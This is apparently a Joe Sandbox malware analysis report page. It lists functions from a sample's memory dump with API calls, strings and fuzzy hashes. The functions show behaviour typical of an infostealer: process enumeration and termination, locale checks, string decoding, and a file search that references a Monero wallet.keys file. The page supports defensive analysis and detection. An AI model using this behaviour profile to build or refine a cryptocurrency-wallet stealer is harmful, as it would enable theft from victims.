Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: ca2c4f4024272236877ec3246f46760212ab110abb9cb249a285a82572abe755
Instruction ID: 74c676802ed7c0baac97a3fffd5809275e32a937dd02f259f598b32ea394ecef
Opcode Fuzzy Hash: ca2c4f4024272236877ec3246f46760212ab110abb9cb249a285a82572abe755
Instruction Fuzzy Hash: B1112175900208ABDB64DFA0DC8CBDEB779BB88700F10459CF615A6284D7749B84CF90

Function 012F02D6 Relevance: 11.6, Strings: 8, Instructions: 1642COMMON

Download Yara Rule

Strings

Rt'v, xrefs: 012F0AC7
Rc};, xrefs: 012F0E61
hjz9, xrefs: 012F0688
[:ww, xrefs: 012F0D7E
7N{_, xrefs: 012F0DF5
!mu, xrefs: 012F1649
\], xrefs: 012F12AE
$VE?, xrefs: 012F0413

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \]$!mu$$VE?$7N{_$Rc};$Rt'v$[:ww$hjz9
API String ID: 0-2401617613
Opcode ID: d1bd3b330b5e1a1de3bc4aa695df6dcab746777db785cc33fe180342ea21111c
Instruction ID: 31bd0fbd36ced458b11c3ad2ea7d652fc243d0acab6b9d708c724ac365500393
Opcode Fuzzy Hash: d1bd3b330b5e1a1de3bc4aa695df6dcab746777db785cc33fe180342ea21111c
Instruction Fuzzy Hash: 91B207F36082049FE304AE2DEC8577ABBE9EF94720F1A493DE6C4C7744EA7558018796

Function 01302B6C Relevance: 11.6, Strings: 8, Instructions: 1596COMMON

Download Yara Rule

Strings

/"|, xrefs: 01303AD5
63A}, xrefs: 013031B8
NjM, xrefs: 013037D1
NjM, xrefs: 013037F5
K:Z;, xrefs: 013032F1
Rz}, xrefs: 01302DDB
Z7g, xrefs: 01303D81
Aoa, xrefs: 0130356E

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /"|$63A}$Aoa$K:Z;$NjM$NjM$Rz}$Z7g
API String ID: 0-1292933336
Opcode ID: 4e8b29e1a60500a0fd7fc5e1a693e580de2e39bb4adf61b130adf5cfe2f4b045
Instruction ID: 824fb0960c3f5e837952f7113e61c303f48258f7aeb7a0cd68e7d3982aee80dd
Opcode Fuzzy Hash: 4e8b29e1a60500a0fd7fc5e1a693e580de2e39bb4adf61b130adf5cfe2f4b045
Instruction Fuzzy Hash: 8AB2F5F3A0C2049FE3046E29EC4567AFBE5EF94720F1A493DEAC4C3744EA3598458697

Function 00EB7D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

GetKeyboardLayoutList.USER32(00000000,00000000,00EC05B7), ref: 00EB7D71
LocalAlloc.KERNEL32(00000040,?), ref: 00EB7D89
GetKeyboardLayoutList.USER32(?,00000000), ref: 00EB7D9D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00EB7DF2
LocalFree.KERNEL32(00000000), ref: 00EB7EB2

Strings

/ , xrefs: 00EB7E0F

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: d30c9cdea039e55d1c3babe6f77a83f4989f5925a1b832ed1957c2a05375c8bd
Instruction ID: 991404add7c9c83d717df65f396c0c17a945b24edeaa8a2abbef912638575d48
Opcode Fuzzy Hash: d30c9cdea039e55d1c3babe6f77a83f4989f5925a1b832ed1957c2a05375c8bd
Instruction Fuzzy Hash: 09413C71950218ABCB24DB94DC99BEEB7B8FF44700F2041E9E01A76680DB746F84CFA1

Function 012FF714 Relevance: 10.3, Strings: 7, Instructions: 1542COMMON

Download Yara Rule

Strings

_~, xrefs: 01300021
sLv~, xrefs: 012FFA0F
&F_s, xrefs: 012FFBBA
nL=, xrefs: 012FFC30
P3w_, xrefs: 013001F2
&F_s, xrefs: 012FFBE8
_ot, xrefs: 01300343

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: _ot$&F_s$&F_s$P3w_$nL=$sLv~$_~
API String ID: 0-653492069
Opcode ID: b50551eb30596f9872ddd4be5ae56880f1a88a8c321eb559b230f23f7430b7dd
Instruction ID: 53a207a1332edfba520f20eae021d296116ad02804277ee0e0e56fe3b1fc65b0
Opcode Fuzzy Hash: b50551eb30596f9872ddd4be5ae56880f1a88a8c321eb559b230f23f7430b7dd
Instruction Fuzzy Hash: ACB2D4F3A0C6009FE304AE29DC8567AFBE5EF94720F16893DE6C483744EA3598418797

Function 00EAE530 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00EC0D79), ref: 00EAE5A2
StrCmpCA.SHLWAPI(?,00EC15F0), ref: 00EAE5F2
StrCmpCA.SHLWAPI(?,00EC15F4), ref: 00EAE608
FindNextFileA.KERNEL32(000000FF,?), ref: 00EAECDF

Strings

\*.*, xrefs: 00EAE54D

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 59660dce6d12d398d0a9f2d70eae9473eaebd54f7ac2a43ec051e565596d3f98
Instruction ID: babc368db64f97abb11dc3ab226efccc0baae1ecbfe404bcf500d5e1cf599908
Opcode Fuzzy Hash: 59660dce6d12d398d0a9f2d70eae9473eaebd54f7ac2a43ec051e565596d3f98
Instruction Fuzzy Hash: F8122271A10118ABCF14FB60DDA6EEE73B9AF54300F4455F8B51A76191EE306B48CFA2

Function 012F8A0E Relevance: 9.2, Strings: 6, Instructions: 1652COMMON

Download Yara Rule

Strings

wu, xrefs: 012F8D7E
-z{?, xrefs: 012F9496
j}'o, xrefs: 012F8B91
@QJ, xrefs: 012F9BC2
IX], xrefs: 012F8C52
?o"K, xrefs: 012F8DE8

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: wu$-z{?$?o"K$@QJ$IX]$j}'o
API String ID: 0-2850533717
Opcode ID: 5ab19a898afd878977724c00ba292d69b0040f733106fe5e97d969ea836f80b3
Instruction ID: 4787b6ec50320d3e085a5f97c7cc71fb965d748a4182dbbbe1b73ccc7fb86668
Opcode Fuzzy Hash: 5ab19a898afd878977724c00ba292d69b0040f733106fe5e97d969ea836f80b3
Instruction Fuzzy Hash: 98B208F360C6049FE3046E2DEC8567AF7EAEBD4720F16893DE6C4C3744EA3598058696

Function 00EAA210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00EAA23F
LocalAlloc.KERNEL32(00000040,?,?,?,00EA4F3E,00000000,?), ref: 00EAA251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O,00000000,00000000), ref: 00EAA27A
LocalFree.KERNEL32(?,?,?,?,00EA4F3E,00000000,?), ref: 00EAA28F

Strings

>O, xrefs: 00EAA224, 00EAA231, 00EAA249, 00EAA268, 00EAA234, 00EAA26B

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O
API String ID: 4291131564-1870091082
Opcode ID: d3c0b276a1e99df76065f121db834421a0eea7ca217f5bc6fd7e7a9cd3b3e4fd
Instruction ID: b7d0dfdd80e911585709342c06ffba09f229019ef45a3e333345022b926a8819
Opcode Fuzzy Hash: d3c0b276a1e99df76065f121db834421a0eea7ca217f5bc6fd7e7a9cd3b3e4fd
Instruction Fuzzy Hash: D011A474240308AFEB15CF64C895FAA77B5EB89B14F208458FD259F3D0C772A941CB50

Function 012F6F55 Relevance: 7.8, Strings: 5, Instructions: 1582COMMON

Download Yara Rule

Strings

Da{i, xrefs: 012F709F
ro;, xrefs: 012F7DD7
a1o, xrefs: 012F7A91
b!|, xrefs: 012F7344
!)*, xrefs: 012F7A34

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !)*$Da{i$a1o$b!|$ro;
API String ID: 0-437545789
Opcode ID: ddefa042dd228e9eef368eb61e736542eafaf091766d5f1284c578cddf0c3abf
Instruction ID: 0935b5629155010194cff2bc7a940832c7357da7b19f0fee0bbc2289f57f5c71
Opcode Fuzzy Hash: ddefa042dd228e9eef368eb61e736542eafaf091766d5f1284c578cddf0c3abf
Instruction Fuzzy Hash: AEB2F6F3A08200AFE7046E29EC8567ABBE9EF94720F1A493DE6C4C7344E67558058796

Function 00F0F8D6 Relevance: 7.6, Strings: 6, Instructions: 123COMMON

Download Yara Rule

Strings

}, xrefs: 00F0F99F
\u, xrefs: 00F0F9A3
\u, xrefs: 00F0FA93
}, xrefs: 00F0FA8F
{, xrefs: 00F0F9AA
{, xrefs: 00F0FA9A

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: \u$\u${${$}$}
API String ID: 0-582841131
Opcode ID: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction ID: 99db8b603c7dfbaa7df07b38bccc8865325db9d41d0313b703ad090544e10367
Opcode Fuzzy Hash: 27d9cd0be1a73f01c92297f6708ad4a9299737c53231bb6b8c18bba91e257b74
Instruction Fuzzy Hash: CC415012E19BD5C5CB058B7444A02AEBFB26FD5220F6D429AC49D1F7C2C774414EE3A5

Function 00EAC920 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00EAC971
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00EAC97C
lstrcat.KERNEL32(?,00EC0B47), ref: 00EACA43
lstrcat.KERNEL32(?,00EC0B4B), ref: 00EACA57
lstrcat.KERNEL32(?,00EC0B4E), ref: 00EACA78

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 839e9c5c25bdecb2a70fd073da2f7bb1fcfde885112c4d0a55aa370c304c1e5f
Instruction ID: 5363eb2a1a3e8469d683cc2e227aca1fcb4fb6902e622a132e1ad63409cdd88e
Opcode Fuzzy Hash: 839e9c5c25bdecb2a70fd073da2f7bb1fcfde885112c4d0a55aa370c304c1e5f
